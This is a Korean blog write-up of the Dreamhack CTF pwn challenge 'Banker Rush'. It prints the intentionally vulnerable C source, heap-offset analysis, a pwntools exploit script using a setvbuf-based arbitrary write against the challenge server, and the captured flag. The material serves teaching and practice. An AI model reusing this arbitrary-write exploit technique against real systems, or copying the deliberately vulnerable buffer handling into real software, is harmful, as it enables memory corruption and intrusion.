문제 설명

    드림핵 회원 수가 22,222명을 달성했어요!!
    드림이는 기념으로 2의 상징을 공부해보기로 했어요.
    그게 바로 벙커링이래요!! 아 그게 아니라 버퍼링… 이라구요?

    checksec

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Banker_Rush$ checksec ./chal
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/Banker_Rush/chal'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Source Code

    chal.c

    //gcc chal.c -o chal
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <time.h>
    
    
    #define BOXER 1
    #define YELLOW 2
    #define YELLOW_WIN "22222"
    
    typedef struct {
      char name[16];
      long HP;
      long type;
      void (*build)(void *);
      void (*destroyed)(void *);
    } Bunker;
    
    typedef struct {
      char name[16];
      long HP;
      long type;
      void (*build)();
      void (*destroyed)();
    } Hatchery;
    
    void proc_init ()
    {
      setvbuf (stdin, 0, 2, 0);
      setvbuf (stdout, 0, 2, 0);
      setvbuf (stderr, 0, 2, 0);
    }
    
    int read_input (char *buf, int len)
    {
      int ret;
    
      ret = read (0, buf, len);
    
      if (ret < 0)
      {
        fprintf (stderr, "read error!\n");
        exit (1);
      }
    
      if (buf[ret-1] == '\n')
        buf[ret-1] = '\0';
    
      return ret;
    }
    
    
    int read_number ()
    {
      char buf[16];
      int ret;
      int number;
    
      ret = scanf (" %d", &number);
    
      return number;
    }
    
    void buildHatchery(Hatchery* this)
    {
      puts("Your drone is transformed to Hatchery");
    }
    
    void destroyedHatchery(Hatchery* this)
    {
      puts("Hatchery is destructed...");
    }
    
    Hatchery* newHatchery(long hp) 
    {
      Hatchery* hatchery = (Hatchery*)malloc(sizeof(Hatchery));
    
      strcpy(hatchery->name, "Hatchery");
      hatchery->build = buildHatchery;
      hatchery->destroyed = destroyedHatchery;
      //Boxer changed this line to comment.
      //hatchery->type = YELLOW;
      hatchery->HP = hp;
    
      return hatchery;
    }
    
    void buildBunker(Bunker* this)
    {
      puts("SCV starts to build a bunker");
    }
    
    void destroyedBunker(Bunker* this)
    {
      puts("Bunker is destructed...");
      if(this->type && !strcmp ((char*)(this->type), YELLOW_WIN))
        system("cat flag");
    }
    
    Bunker* newBunker(long hp) 
    {
      Bunker* bunker = (Bunker*)malloc(sizeof(Bunker));
    
      strcpy(bunker->name, "Bunker");
      bunker->build = buildBunker;
      bunker->destroyed = destroyedBunker;
      //Yellow changed this line to comment.
      //bunker->type = BOXER;
      bunker->HP = hp;
    
      return bunker;
    }
    
    char canwin='N';
    void BuildHatchery() 
    {
      puts ("your drone moved to outside.");
    
      Hatchery* hatchery = newHatchery(0x1250);
      hatchery->build(hatchery);
      Bunker* bunker = newBunker(0x350);
      bunker->build(bunker);
    
      puts("your drone came out and attacked bunker!");
      puts("now can you beat BoxeR? [y/N]");
      scanf(" %c", &canwin);
    
      if((char)canwin != 'N') {
        puts("Drones finally destroyed the bunker!");
        bunker->destroyed(bunker);
        puts("Mission Success");
        bunker = NULL;
      } else {
        puts("Bunker is completed");
        hatchery->destroyed(hatchery);
        puts("Failed to mission");
        hatchery = NULL;
      }
    
      sleep(1);
      exit(0);
    }
    
    #define DEFAULT_SIZE 1024
    char * buffer = 0;
    long size = 0;
    void BunkerRushStudy () 
    {
      int ret;
      unsigned course;
    
      printf("your buffer: %p\n", buffer);
      puts("Select your course");
      printf(">> ");
      course = read_number();
    
    
      if (course > 2) {
        return;
      }
    
      if (course < 2) {
        if (buffer == NULL) {
          buffer = (char*)malloc(DEFAULT_SIZE);
          size = DEFAULT_SIZE;
        }
        ret = setvbuf(stdin, buffer, course, size);
      } else {
        ret = setvbuf(stdin, 0, course, 0);
      }
    
      if (ret < 0) {
        puts("study fail...");
        exit(1);
      }
      puts("Finish and sleep.");  
    }
    
    void BuildSpawningPool() {
      
      printf("buffer: ");
      scanf("%lu", &buffer);
      printf("size: ");
      scanf("%lu", &size);
    
      if (size >0x10000)
        size = 0;
    }
    void print_menu ()
    {
      puts("1. Build Hatchery");
      puts("2. Study Bunkering");
      printf(">> ");
    }
    
    
    int main ()
    {
      proc_init(); 
      puts("======================================");
      puts("    Mission: build another Hatchery   ");
      puts("======================================");
    
      while (1) {
        int menu;
        print_menu();
        menu = read_number();
    
        switch (menu) {
          case 1:
            BuildHatchery();
            break;
    
          case 2:
            BunkerRushStudy();
            break;
    
          case 0x22222:
            BuildSpawningPool();
            break;
            
          default:
            break;
        }
      }
    }

    Analysis

    BuildHatchery

    newHatchery 객체와 newBunker 객체를 생성하고,
    각 객체 내의 build 함수가 호출된다.

    그리고 canwin을 scanf 함수에 의해 입력받는데,
    ‘N’ 문자가 아닐 경우에는 bunker 객체의 destroyed 함수가 호출된다.
    반대로, ‘N’ 문자일 경우에는 hatchery 객체의 destroyed 함수가 호출된다.

    BunkerRushStudy

    course를 0~2까지 입력할 수 있다.
    Buffer가 NULL일 경우 1024바이트 크기의 메모리를 할당하고
    setvbuf(stdin, 할당된 주소, course, 1024); 함수가 호출된다.

    여기서 course는 setvbuf의 3번째 인자인 mode가 된다.
    0 – _IOFBF, 완전한 버퍼링
    1 – _IOLBF, 행 버퍼링
    2 – _IONBF, 버퍼링 사용 X 를 의미한다.

    BuildSpawningPool

    buffer와 size 변수가 scanf에 의해 입력받을 수 있다.

    destroyedBunker

    객체의 type 필드에 들어있는 문자열이 “22222”라면, flag를 획득할 수 있다.

    Solution

    먼저 BuildHatchery 함수를 호출하여 1024바이트 크기의 메모리를 할당시키고,
    한번 더 호출시키면 할당시킨 메모리 주소를 획득할 수 있다.

    그리고 BuildSpawningPool 함수를 통해 임의의 buffer 주소와 size 값을 설정하고,
    BunkerRushStudy 함수를 다시 호출함으로써 setvbuf 함수를 통해 Address Arbitrary Write가 가능하다.
    즉, BuildHatchery 함수에서 canwin을 마지막으로 입력받을때 buffer 주소에다가 원하는 값을 쓸 수 있다는 의미이다!

    이제 오프셋 거리를 알아보면,

    위 사진은 BuildSpawningPool를 수행하고 난 뒤의 BuildHatchery 함수를 호출했을 때의 Heap 구조이다.

    여기서
    0x555555559290은 BunkerRushStudy에 의해 할당된 메모리,
    0x5555555596a0은 newHatchery에 의해 할당된 메모리,
    0x5555555596e0은 newBunker에 의해 할당된 메모리이다.

    실제 할당된 데이터 주소는 prev_size(8bytes) + size(8bytes)로 16바이트를 더한 주소가 되겠다.

    따라서
    BunkerRushStudy에 의해 실제 할당된 데이터 주소는 0x5555555592a0,
    newHatchery에 의해 실제 할당된 데이터 주소는 0x5555555596b0,
    newBunker에 의해 실제 할당된 데이터 주소는 0x5555555596f0 이 되겠다.

    우리가 원하는 것은 newBunker에 의해 생성된 객체의 type 필드값을 “22222” 문자열을 만드는 것,

    typedef struct {
      char name[16];
      long HP;
      long type;
      void (*build)(void *);
      void (*destroyed)(void *);
    } Bunker;

    Bunker 구조체를 살펴보면 위와 같은데,
    name 필드 크기는 16바이트, HP 필드 크기는 long 타입 크기인 (64비트 OS 기준) 8바이트로,
    +24…
    0x5555555596f0 + 24 = 0x555555559708
    0x555555559708이 Bunker 객체의 type 필드 주소가 되겠다!

    이제 1024바이트 할당된 메모리 주소와 Bunker 구조체의 type 필드까지의 거리인 오프셋을 구해보면,
    0x555555559708 – 0x5555555592a0 = 0x468이 되겠다.

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 18282)
    #p = process('./chal')
    
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'>> ', b'1')
    
    p.sendlineafter(b'>> ', b'2')
    p.recvuntil(b'your buffer: ')
    bufp = p.recvline()
    bufp = bufp.split(b'\n')[0]
    bufp = int(bufp, 16)
    print(f"bufp: {bufp}, {hex(bufp)}")
    p.sendlineafter(b'>> ', b'1')
    
    p.sendlineafter(b'>> ', b'139810')
    p.sendlineafter(b'buffer: ', str(bufp + 0x468))
    p.sendlineafter(b'size:', str(100))
    
    p.sendlineafter(b'>> ', b'2')
    p.sendlineafter(b'>> ', b'1')
    
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'[y/N]\n', p64(bufp + 0x468 + 8) + b'22222' + b'\x00')
    
    p.interactive()

    Result

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Banker_Rush$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 18282: Done
    bufp: 94712294384288, 0x5623eca9a2a0
    [*] Switching to interactive mode
    Drones finally destroyed the bunker!
    Bunker is destructed...
    DH{But we always remember you}
    Mission Success
    [*] Got EOF while reading in interactive

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다